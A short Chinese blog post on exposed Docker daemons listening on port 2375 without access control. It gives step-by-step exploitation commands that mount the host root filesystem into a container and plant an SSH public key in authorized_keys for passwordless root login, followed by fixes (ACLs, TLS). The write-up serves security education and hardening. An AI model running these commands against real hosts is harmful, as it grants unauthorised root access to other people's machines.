版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/github_37216944/article/details/80535541
0x00 漏洞原因
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
docker守护进程监听在0.0.0.0,外网可访问
没有使用iptables等限制可连接的来源ip
0x01 漏洞利用
1.远程对被攻击的主机的docker容器进行操作
docker -H tcp://remoteip:2375 images
远程启动被攻击主机的docker容器.并挂在宿主机的目录,通过容器修改宿主机的authrized_keys文件,写入公钥.
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash
0x02 演示步骤
ssh-keygen 生成公钥文件
docker -H tcp://remoteip:2375 images 查看镜像
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash 启动一个容器并将宿主机根目录挂在到容器的mnt目录
mkdir .ssh 创建ssh目录
touch authorized_keys 创建文件
将公钥的文件写入authorized_keys
ssh root@remoteip 免密码登录宿主机
0x03 修复方法
设置ACL, 只允许信任ip连接对应端口
开启TLS,使用生成的证书进行认证